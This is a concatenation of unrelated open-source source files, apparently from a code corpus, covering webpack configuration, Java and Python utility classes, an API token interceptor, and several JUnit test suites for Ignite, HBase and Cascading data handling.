maxInitialRequests: 3, automaticNameDelimiter: '~', name: true, cacheGroups: { vendors: { test: /[\\/]node_modules[\\/]/, priority: -10 }, default: { minChunks: 2, priority: -20, reuseExistingChunk: true } } } } }); exports.defineConstants = (env) => { const consts = {}; // if (env.production) { // consts.REST_ROOT = restConfig.production.restRoot; // consts['process.env.NODE_ENV'] = 'production'; // } return { plugins: [ new webpack.DefinePlugin(consts) ] }; }; exports.clean = () => ({ plugins: [ new CleanWebpackPlugin(['dist'], paths.root) ] });
vlcmodan/JavaMainRepo
Students/Socaci Ioana/Assignment 1.2/src/Twist2.java
<gh_stars>10-100 public class Twist2 { /** * * @param args * we calculate the sum knowing that after 3 positions there is * an even number */ public static void main(String[] args) { int n = 2, sumOfEven = 0; while (obtainFibNum(n) <= 4000000) { sumOfEven += obtainFibNum(n); n = n + 3; } System.out.println("Sum of the even-valued terms: " + sumOfEven); } /** * * @param a * @param b * function used to multiply two square matrices of dimension 2 */ public static void multiplySquareMatrices(int a[][], int b[][]) { int x, y, z, w; x = a[0][0] * b[0][0] + a[0][1] * b[1][0]; y = a[0][0] * b[0][1] + a[0][1] * b[1][1]; z = a[1][0] * b[0][0] + a[1][1] * b[1][0]; w = a[1][0] * b[0][1] + a[1][1] * b[1][1]; a[0][0] = x; a[0][1] = y; a[1][0] = z; a[1][1] = w; } /** * * @param n * to obtain the fibonacci numbers we use the matrix m[][] = {{1, * 1}, {1, 0}} the element on position 00 in the matrix m ^ n is * the nth Fibonacci number */ public static int obtainFibNum(int n) { int fibonacciMatrix[][] = { { 1, 1 }, { 1, 0 } }; int finalMatrix[][] = { { 1, 0 }, { 0, 1 } };// will keep the final // result: nth fib // number if (n == 1 || n == 2) return n; else { while (n > 0) { if (n % 2 == 1) { multiplySquareMatrices(finalMatrix, fibonacciMatrix); } n = n / 2; multiplySquareMatrices(fibonacciMatrix, fibonacciMatrix); } } return finalMatrix[0][0]; } }
geertjanw/ignite
modules/indexing/src/test/java/org/apache/ignite/testsuites/IgniteCacheMvccSqlTestSuite.java
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.testsuites; import org.apache.ignite.cache.CacheAtomicityMode; import org.apache.ignite.configuration.NearCacheConfiguration; import org.apache.ignite.internal.processors.cache.distributed.dht.GridCacheColocatedTxPessimisticOriginatingNodeFailureSelfTest; import org.apache.ignite.internal.processors.cache.distributed.dht.IgniteCachePartitionedNearDisabledPrimaryNodeFailureRecoveryTest; import org.apache.ignite.internal.processors.cache.distributed.dht.IgniteCachePartitionedTwoBackupsPrimaryNodeFailureRecoveryTest; import org.apache.ignite.internal.processors.cache.distributed.replicated.GridCacheReplicatedTxPessimisticOriginatingNodeFailureSelfTest; import org.apache.ignite.internal.processors.cache.index.MvccEmptyTransactionSelfTest; import org.apache.ignite.internal.processors.cache.index.SqlTransactionsCommandsWithMvccEnabledSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccBasicContinuousQueryTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccBulkLoadTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccClientReconnectContinuousQueryTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryBackupQueueTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryClientReconnectTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryClientTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryImmutableEntryTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryMultiNodesFilteringTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryPartitionedSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryPartitionedTxOneNodeTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryReplicatedSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousQueryReplicatedTxOneNodeTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousWithTransformerClientSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousWithTransformerPartitionedSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccContinuousWithTransformerReplicatedSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccDmlSimpleTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccIteratorWithConcurrentJdbcTransactionTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccLocalEntriesWithConcurrentJdbcTransactionTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccPartitionedBackupsTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccPartitionedSqlCoordinatorFailoverTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccPartitionedSqlQueriesTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccPartitionedSqlTxQueriesTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccPartitionedSqlTxQueriesWithReducerTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccReplicatedBackupsTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccReplicatedSqlCoordinatorFailoverTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccReplicatedSqlQueriesTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccReplicatedSqlTxQueriesTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccReplicatedSqlTxQueriesWithReducerTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccScanQueryWithConcurrentJdbcTransactionTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSelectForUpdateQueryBasicTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSelectForUpdateQueryTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSizeTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSizeWithConcurrentJdbcTransactionTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSqlConfigurationValidationTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSqlContinuousQueryPartitionedSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSqlContinuousQueryReplicatedSelfTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSqlLockTimeoutTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSqlTxModesTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccSqlUpdateCountersTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccStreamingInsertTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccTxNodeMappingTest; import org.apache.ignite.internal.processors.cache.mvcc.CacheMvccTxRecoveryTest; import org.apache.ignite.internal.processors.cache.mvcc.MvccDeadlockDetectionConfigTest; import org.apache.ignite.internal.processors.cache.mvcc.MvccDeadlockDetectionTest; import org.apache.ignite.internal.processors.cache.mvcc.MvccRepeatableReadBulkOpsTest; import org.apache.ignite.internal.processors.cache.mvcc.MvccRepeatableReadOperationsTest; import org.apache.ignite.internal.processors.query.h2.GridIndexRebuildWithMvccEnabledSelfTest; import org.junit.runner.RunWith; import org.junit.runners.Suite; import static org.apache.ignite.cache.CacheAtomicityMode.TRANSACTIONAL_SNAPSHOT; /** */ @RunWith(Suite.class) @Suite.SuiteClasses({ // Simple tests. MvccEmptyTransactionSelfTest.class, CacheMvccSqlConfigurationValidationTest.class, CacheMvccDmlSimpleTest.class, SqlTransactionsCommandsWithMvccEnabledSelfTest.class, CacheMvccSizeTest.class, CacheMvccSqlUpdateCountersTest.class, CacheMvccSqlLockTimeoutTest.class, CacheMvccSqlTxModesTest.class, GridIndexRebuildWithMvccEnabledSelfTest.class, CacheMvccTxNodeMappingTest.class, MvccDeadlockDetectionConfigTest.class, MvccDeadlockDetectionTest.class, // SQL vs CacheAPI consistency. MvccRepeatableReadOperationsTest.class, MvccRepeatableReadBulkOpsTest.class, // JDBC tests. CacheMvccSizeWithConcurrentJdbcTransactionTest.class, CacheMvccScanQueryWithConcurrentJdbcTransactionTest.class, CacheMvccLocalEntriesWithConcurrentJdbcTransactionTest.class, CacheMvccIteratorWithConcurrentJdbcTransactionTest.class, // Load tests. CacheMvccBulkLoadTest.class, CacheMvccStreamingInsertTest.class, CacheMvccPartitionedSqlQueriesTest.class, CacheMvccReplicatedSqlQueriesTest.class, CacheMvccPartitionedSqlTxQueriesTest.class, CacheMvccReplicatedSqlTxQueriesTest.class, CacheMvccPartitionedSqlTxQueriesWithReducerTest.class, CacheMvccReplicatedSqlTxQueriesWithReducerTest.class, CacheMvccSelectForUpdateQueryBasicTest.class, CacheMvccSelectForUpdateQueryTest.class, // Failover tests. CacheMvccPartitionedBackupsTest.class, CacheMvccReplicatedBackupsTest.class, CacheMvccPartitionedSqlCoordinatorFailoverTest.class, CacheMvccReplicatedSqlCoordinatorFailoverTest.class, // Continuous queries. CacheMvccBasicContinuousQueryTest.class, CacheMvccContinuousQueryPartitionedSelfTest.class, CacheMvccContinuousQueryReplicatedSelfTest.class, CacheMvccSqlContinuousQueryPartitionedSelfTest.class, CacheMvccSqlContinuousQueryReplicatedSelfTest.class, CacheMvccContinuousQueryPartitionedTxOneNodeTest.class, CacheMvccContinuousQueryReplicatedTxOneNodeTest.class, CacheMvccContinuousQueryClientReconnectTest.class, CacheMvccContinuousQueryClientTest.class, CacheMvccContinuousQueryMultiNodesFilteringTest.class, CacheMvccContinuousQueryBackupQueueTest.class, CacheMvccContinuousQueryImmutableEntryTest.class, CacheMvccClientReconnectContinuousQueryTest.class, CacheMvccContinuousWithTransformerClientSelfTest.class, CacheMvccContinuousWithTransformerPartitionedSelfTest.class, CacheMvccContinuousWithTransformerReplicatedSelfTest.class, // Transaction recovery. CacheMvccTxRecoveryTest.class, IgniteCacheMvccSqlTestSuite.MvccPartitionedPrimaryNodeFailureRecoveryTest.class, IgniteCacheMvccSqlTestSuite.MvccPartitionedTwoBackupsPrimaryNodeFailureRecoveryTest.class, IgniteCacheMvccSqlTestSuite.MvccColocatedTxPessimisticOriginatingNodeFailureRecoveryTest.class, IgniteCacheMvccSqlTestSuite.MvccReplicatedTxPessimisticOriginatingNodeFailureRecoveryTest.class }) public class IgniteCacheMvccSqlTestSuite { /** */ public static class MvccPartitionedPrimaryNodeFailureRecoveryTest extends IgniteCachePartitionedNearDisabledPrimaryNodeFailureRecoveryTest { /** {@inheritDoc} */ @Override protected CacheAtomicityMode atomicityMode() { return TRANSACTIONAL_SNAPSHOT; } } /** */ public static class MvccPartitionedTwoBackupsPrimaryNodeFailureRecoveryTest extends IgniteCachePartitionedTwoBackupsPrimaryNodeFailureRecoveryTest { /** {@inheritDoc} */ @Override protected CacheAtomicityMode atomicityMode() { return TRANSACTIONAL_SNAPSHOT; } /** {@inheritDoc} */ @Override protected NearCacheConfiguration nearConfiguration() { return null; } } /** */ public static class MvccColocatedTxPessimisticOriginatingNodeFailureRecoveryTest extends GridCacheColocatedTxPessimisticOriginatingNodeFailureSelfTest { /** {@inheritDoc} */ @Override protected CacheAtomicityMode atomicityMode() { return TRANSACTIONAL_SNAPSHOT; } } /** */ public static class MvccReplicatedTxPessimisticOriginatingNodeFailureRecoveryTest extends GridCacheReplicatedTxPessimisticOriginatingNodeFailureSelfTest { /** {@inheritDoc} */ @Override protected CacheAtomicityMode atomicityMode() { return TRANSACTIONAL_SNAPSHOT; } } }
hiyouka/spring-cloud-resources
source-transaction/src/main/java/com/hiyouka/source/code/TestClass.java
<reponame>hiyouka/spring-cloud-resources package com.hiyouka.source.code; import org.springframework.transaction.annotation.Transactional; /** * @author hiyouka * @since JDK 1.8 */ @Transactional public class TestClass { }
Acidburn0zzz/dnsimple-java
src/main/java/com/dnsimple/exception/DnsimpleException.java
package com.dnsimple.exception; import com.google.api.client.http.HttpResponseException; public class DnsimpleException extends Exception { private String requestId; private Integer statusCode; public DnsimpleException(String message, String requestId, Integer statusCode) { super(message, null); this.requestId = requestId; this.statusCode = statusCode; } public DnsimpleException(String message, String requestId, Integer statusCode, Throwable e) { super(message, e); this.requestId = requestId; this.statusCode = statusCode; } public String getRequestId() { return requestId; } public Integer getStatusCode() { return statusCode; } /** * Transform an HttpResponseException into a DnsimpleException. * * @param e The HttpResponseException * @return The DnsimpleException */ public static DnsimpleException transformException(HttpResponseException e) { switch(e.getStatusCode()) { case 404: return new ResourceNotFoundException("Failed to retreive domain: " + e.getMessage(), null, e.getStatusCode(), e); default: return new DnsimpleException(e.getMessage(), null, e.getStatusCode(), e); } } public static final long serialVersionUID = 1L; }
bautes/react-native-dictionary
src/styles/_palette.js
<filename>src/styles/_palette.js export const WHITE = '#fff' export const BLACK = '#000' export const RED = '#f00'
sho25/hive
serde/src/java/org/apache/hadoop/hive/serde2/io/HiveBaseCharWritable.java
<filename>serde/src/java/org/apache/hadoop/hive/serde2/io/HiveBaseCharWritable.java begin_unit|revision:0.9.5;language:Java;cregit-version:0.0.1 begin_comment comment|/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ end_comment begin_package package|package name|org operator|. name|apache operator|. name|hadoop operator|. name|hive operator|. name|serde2 operator|. name|io package|; end_package begin_import import|import name|java operator|. name|io operator|. name|DataInput import|; end_import begin_import import|import name|java operator|. name|io operator|. name|DataOutput import|; end_import begin_import import|import name|java operator|. name|io operator|. name|IOException import|; end_import begin_import import|import name|org operator|. name|apache operator|. name|hadoop operator|. name|io operator|. name|Text import|; end_import begin_import import|import name|org operator|. name|apache operator|. name|hive operator|. name|common operator|. name|util operator|. name|HiveStringUtils import|; end_import begin_class specifier|public specifier|abstract class|class name|HiveBaseCharWritable block|{ specifier|protected name|Text name|value init|= operator|new name|Text argument_list|() decl_stmt|; specifier|public name|HiveBaseCharWritable parameter_list|() block|{ } specifier|public name|int name|getCharacterLength parameter_list|() block|{ return|return name|HiveStringUtils operator|. name|getTextUtfLength argument_list|( name|value argument_list|) return|; block|} comment|/** * Access to the internal Text member. Use with care. * @return */ specifier|public name|Text name|getTextValue parameter_list|() block|{ return|return name|value return|; block|} specifier|public name|void name|readFields parameter_list|( name|DataInput name|in parameter_list|) throws|throws name|IOException block|{ name|value operator|. name|readFields argument_list|( name|in argument_list|) expr_stmt|; block|} specifier|public name|void name|write parameter_list|( name|DataOutput name|out parameter_list|) throws|throws name|IOException block|{ name|value operator|. name|write argument_list|( name|out argument_list|) expr_stmt|; block|} specifier|public name|boolean name|equals parameter_list|( name|Object name|obj parameter_list|) block|{ if|if condition|( name|obj operator|== literal|null operator||| operator|( name|obj operator|. name|getClass argument_list|() operator|!= name|this operator|. name|getClass argument_list|() operator|) condition|) block|{ return|return literal|false return|; block|} return|return name|value operator|. name|equals argument_list|( operator|( operator|( name|HiveBaseCharWritable operator|) name|obj operator|) operator|. name|value argument_list|) return|; block|} specifier|public name|int name|hashCode parameter_list|() block|{ return|return name|value operator|. name|hashCode argument_list|() return|; block|} block|} end_class end_unit
gburd/Kundera
src/kundera-hbase/kundera-hbase-v2/src/test/java/com/impetus/client/hbase/crud/association/HbaseManyToManyTest.java
<filename>src/kundera-hbase/kundera-hbase-v2/src/test/java/com/impetus/client/hbase/crud/association/HbaseManyToManyTest.java /******************************************************************************* * * Copyright 2015 Impetus Infotech. * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. ******************************************************************************/ package com.impetus.client.hbase.crud.association; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import java.util.HashSet; import java.util.List; import java.util.Set; import javax.persistence.EntityManager; import javax.persistence.EntityManagerFactory; import javax.persistence.Persistence; import org.junit.After; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import com.impetus.client.hbase.testingutil.HBaseTestingUtils; /** * The Class HbaseManyToManyTest. * * @author <NAME> */ public class HbaseManyToManyTest { /** The Constant SCHEMA. */ private static final String SCHEMA = "HBaseNew"; /** The Constant HBASE_PU. */ private static final String HBASE_PU = "mtmTest"; /** The emf. */ private static EntityManagerFactory emf; /** The em. */ private EntityManager em; /** * Sets the up before class. * * @throws Exception * the exception */ @BeforeClass public static void setUpBeforeClass() throws Exception { emf = Persistence.createEntityManagerFactory(HBASE_PU); } /** * Sets the up. * * @throws Exception * the exception */ @Before public void setUp() throws Exception { em = emf.createEntityManager(); } /** * Test many to many. */ @Test public void testManyToMany() { persistMTM(); List<HabitatMToM> habitatMToM = em.createQuery("Select h from HabitatMToM h").getResultList(); assertNotNull(habitatMToM); assertEquals(3, habitatMToM.size()); List<PersonnelMToM> personnelMToM = em.createQuery("Select p from PersonnelMToM p").getResultList(); assertNotNull(personnelMToM); assertEquals(2, personnelMToM.size()); personnelMToM = em.createQuery("Select p from PersonnelMToM p where p.personName='John'").getResultList(); assertEquals(personnelMToM.get(0).getPersonId(), "125"); assertNotNull(personnelMToM.get(0).getHabitats().iterator().next()); HabitatMToM habitatMToM1 = em.find(HabitatMToM.class, "7"); HabitatMToM habitatMToM2 = em.find(HabitatMToM.class, "8"); HabitatMToM habitatMToM3 = em.find(HabitatMToM.class, "9"); PersonnelMToM personnelMToM1 = em.find(PersonnelMToM.class, "125"); PersonnelMToM personnelMToM2 = em.find(PersonnelMToM.class, "502"); assertEquals(habitatMToM1.getStreet(), "downing street"); assertEquals(habitatMToM2.getStreet(), "fleet street"); assertEquals(habitatMToM3.getStreet(), "greet street"); assertEquals(personnelMToM1.getPersonName(), "John"); assertEquals(personnelMToM2.getPersonName(), "Bully"); assertEquals(2, personnelMToM1.getHabitats().size()); for (HabitatMToM habitat : personnelMToM1.getHabitats()) { if (habitat.getAddressId().equals("7")) { assertEquals(habitat.getStreet(), "downing street"); } else { assertEquals(habitat.getStreet(), "fleet street"); } } } /** * Persist mtm. */ private void persistMTM() { Set<HabitatMToM> habitats1 = new HashSet<HabitatMToM>(); Set<HabitatMToM> habitats2 = new HashSet<HabitatMToM>(); HabitatMToM habitat1 = new HabitatMToM(); habitat1.setAddressId("7"); habitat1.setStreet("downing street"); HabitatMToM habitat2 = new HabitatMToM(); habitat2.setAddressId("8"); habitat2.setStreet("fleet street"); HabitatMToM habitat3 = new HabitatMToM(); habitat3.setAddressId("9"); habitat3.setStreet("greet street"); habitats1.add(habitat1); habitats1.add(habitat2); habitats2.add(habitat2); habitats2.add(habitat3); PersonnelMToM person1 = new PersonnelMToM(); person1.setPersonId("125"); person1.setPersonName("John"); PersonnelMToM person2 = new PersonnelMToM(); person2.setPersonId("502"); person2.setPersonName("Bully"); person1.setHabitats(habitats1); person2.setHabitats(habitats2); em.persist(person1); em.persist(person2); } /** * Tear down. * * @throws Exception * the exception */ @After public void tearDown() throws Exception { em.close(); } /** * Tear down after class. * * @throws Exception * the exception */ @AfterClass public static void tearDownAfterClass() throws Exception { emf.close(); emf = null; HBaseTestingUtils.dropSchema(SCHEMA); } }
jippo015/Sub-Zero.bundle
Contents/Libraries/Shared/pysrt/srtitem.py
<reponame>jippo015/Sub-Zero.bundle<gh_stars>1000+ # -*- coding: utf-8 -*- """ SubRip's subtitle parser """ from pysrt.srtexc import InvalidItem, InvalidIndex from pysrt.srttime import SubRipTime from pysrt.comparablemixin import ComparableMixin from pysrt.compat import str, is_py2 import re class SubRipItem(ComparableMixin): """ SubRipItem(index, start, end, text, position) index -> int: index of item in file. 0 by default. start, end -> SubRipTime or coercible. text -> unicode: text content for item. position -> unicode: raw srt/vtt "display coordinates" string """ ITEM_PATTERN = str('%s\n%s --> %s%s\n%s\n') TIMESTAMP_SEPARATOR = '-->' def __init__(self, index=0, start=None, end=None, text='', position=''): try: self.index = int(index) except (TypeError, ValueError): # try to cast as int, but it's not mandatory self.index = index self.start = SubRipTime.coerce(start or 0) self.end = SubRipTime.coerce(end or 0) self.position = str(position) self.text = str(text) @property def duration(self): return self.end - self.start @property def text_without_tags(self): RE_TAG = re.compile(r'<[^>]*?>') return RE_TAG.sub('', self.text) @property def characters_per_second(self): characters_count = len(self.text_without_tags.replace('\n', '')) try: return characters_count / (self.duration.ordinal / 1000.0) except ZeroDivisionError: return 0.0 def __str__(self): position = ' %s' % self.position if self.position.strip() else '' return self.ITEM_PATTERN % (self.index, self.start, self.end, position, self.text) if is_py2: __unicode__ = __str__ def __str__(self): raise NotImplementedError('Use unicode() instead!') def _cmpkey(self): return (self.start, self.end) def shift(self, *args, **kwargs): """ shift(hours, minutes, seconds, milliseconds, ratio) Add given values to start and end attributes. All arguments are optional and have a default value of 0. """ self.start.shift(*args, **kwargs) self.end.shift(*args, **kwargs) @classmethod def from_string(cls, source): return cls.from_lines(source.splitlines(True)) @classmethod def from_lines(cls, lines): if len(lines) < 2: raise InvalidItem() lines = [l.rstrip() for l in lines] index = None if cls.TIMESTAMP_SEPARATOR not in lines[0]: index = lines.pop(0) start, end, position = cls.split_timestamps(lines[0]) body = '\n'.join(lines[1:]) return cls(index, start, end, body, position) @classmethod def split_timestamps(cls, line): timestamps = line.split(cls.TIMESTAMP_SEPARATOR) if len(timestamps) != 2: raise InvalidItem() start, end_and_position = timestamps end_and_position = end_and_position.lstrip().split(' ', 1) end = end_and_position[0] position = end_and_position[1] if len(end_and_position) > 1 else '' return (s.strip() for s in (start, end, position))
jennalandy/jupyterlab-blueprint
node_modules/@uifabric/utilities/lib-commonjs/keyboard.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var DirectionalKeyCodes = (_a = {}, _a[38 /* up */] = 1, _a[40 /* down */] = 1, _a[37 /* left */] = 1, _a[39 /* right */] = 1, _a[36 /* home */] = 1, _a[35 /* end */] = 1, _a[9 /* tab */] = 1, _a[33 /* pageUp */] = 1, _a[34 /* pageDown */] = 1, _a); /** * Returns true if the keycode is a directional keyboard key. */ function isDirectionalKeyCode(which) { return !!DirectionalKeyCodes[which]; } exports.isDirectionalKeyCode = isDirectionalKeyCode; /** * Adds a keycode to the list of keys that, when pressed, should cause the focus outlines to be visible. * This can be used to add global shortcut keys that directionally move from section to section within * an app or between focus trap zones. */ function addDirectionalKeyCode(which) { DirectionalKeyCodes[which] = 1; } exports.addDirectionalKeyCode = addDirectionalKeyCode; var _a; //# sourceMappingURL=keyboard.js.map
Mu-L/Jpom
modules/server/src/main/java/io/jpom/common/interceptor/OpenApiInterceptor.java
/* * The MIT License (MIT) * * Copyright (c) 2019 Code Technology Studio * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package io.jpom.common.interceptor; import cn.hutool.core.util.StrUtil; import cn.hutool.crypto.SecureUtil; import cn.hutool.extra.servlet.ServletUtil; import cn.jiangzeyin.common.JsonMessage; import cn.jiangzeyin.common.interceptor.BaseInterceptor; import cn.jiangzeyin.common.interceptor.InterceptorPattens; import io.jpom.common.ServerOpenApi; import io.jpom.system.ServerExtConfigBean; import org.springframework.http.MediaType; import org.springframework.web.method.HandlerMethod; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * @author bwcx_jzy * @since 2019/9/4 */ @InterceptorPattens(value = "/api/**") public class OpenApiInterceptor extends BaseInterceptor { @Override protected boolean preHandle(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { NotLogin methodAnnotation = handlerMethod.getMethodAnnotation(NotLogin.class); if (methodAnnotation == null) { if (handlerMethod.getBeanType().isAnnotationPresent(NotLogin.class)) { return true; } } else { return true; } String checkOpenApi = this.checkOpenApi(request); if (checkOpenApi == null) { return true; } ServletUtil.write(response, checkOpenApi, MediaType.APPLICATION_JSON_VALUE); return false; } private String checkOpenApi(HttpServletRequest request) { String header = request.getHeader(ServerOpenApi.HEAD); if (StrUtil.isEmpty(header)) { return JsonMessage.getString(300, "token empty"); } String authorizeToken = ServerExtConfigBean.getInstance().getAuthorizeToken(); if (StrUtil.isEmpty(authorizeToken)) { return JsonMessage.getString(300, "not config token"); } String md5 = SecureUtil.md5(authorizeToken); md5 = SecureUtil.sha1(md5 + ServerOpenApi.HEAD); if (!StrUtil.equals(header, md5)) { return JsonMessage.getString(300, "not config token"); } return null; } }
ExpediaGroup/plunger
src/test/java/com/hotels/plunger/DataTest.java
/** * Copyright (C) 2014-2019 Expedia Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hotels.plunger; import static org.hamcrest.CoreMatchers.is; import static org.junit.Assert.assertThat; import java.util.ArrayList; import java.util.List; import org.junit.Test; import cascading.tuple.Fields; import cascading.tuple.FieldsResolverException; import cascading.tuple.Tuple; import cascading.tuple.TupleEntry; public class DataTest { @Test public void init() { Fields fields = new Fields("x"); List<Tuple> tuples = new ArrayList<Tuple>(); Data tupleSource = new Data(fields, tuples); assertThat(tupleSource.getDeclaredFields(), is(fields)); assertThat(tupleSource.getTuples(), is(tuples)); } @Test public void selectedFields() { Fields fields = new Data(new Fields("A", "B"), new ArrayList<Tuple>()).withFields(new Fields("A")).selectedFields(); assertThat(fields, is(new Fields("A"))); } @Test public void selectedFieldsOrdering() { Fields fields = new Data(new Fields("A", "B", "C"), new ArrayList<Tuple>()) .withFields(new Fields("C", "A", "B")) .selectedFields(); assertThat(fields, is(new Fields("C", "A", "B"))); } @Test public void selectedFieldsCombined() { Fields fields = new Data(new Fields("A", "B"), new ArrayList<Tuple>()).withFields(new Fields("A"), new Fields("A"), new Fields("B")).selectedFields(); assertThat(fields, is(new Fields("A", "B"))); } @Test public void selectedFieldsAll() { Fields fields = new Data(new Fields("A", "B"), new ArrayList<Tuple>()).withFields(Fields.ALL).selectedFields(); assertThat(fields, is(new Fields("A", "B"))); } @Test(expected = FieldsResolverException.class) public void selectedFieldsUnknown() { new Data(new Fields("A", "B"), new ArrayList<Tuple>()).withFields(new Fields("C")).selectedFields(); } @Test public void selectedFieldsNone() { Fields fields = new Data(new Fields("A", "B"), new ArrayList<Tuple>()).withFields(Fields.NONE).selectedFields(); assertThat(fields, is(Fields.NONE)); } @Test public void asTupleEntryList() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<TupleEntry> entryList = new Data(fields, tuples).asTupleEntryList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).getInteger("A"), is(1)); assertThat(entryList.get(0).getInteger("B"), is(100)); assertThat(entryList.get(1).getInteger("A"), is(2)); assertThat(entryList.get(1).getInteger("B"), is(200)); } @Test public void asTupleEntryListOrderBy() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 200)); tuples.add(new Tuple(2, 100)); List<TupleEntry> entryList = new Data(fields, tuples).orderBy(new Fields("B")).asTupleEntryList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).getInteger("A"), is(2)); assertThat(entryList.get(0).getInteger("B"), is(100)); assertThat(entryList.get(1).getInteger("A"), is(1)); assertThat(entryList.get(1).getInteger("B"), is(200)); } @Test public void asTupleEntryListWithFields() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<TupleEntry> entryList = new Data(fields, tuples).withFields(new Fields("B")).asTupleEntryList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).size(), is(1)); 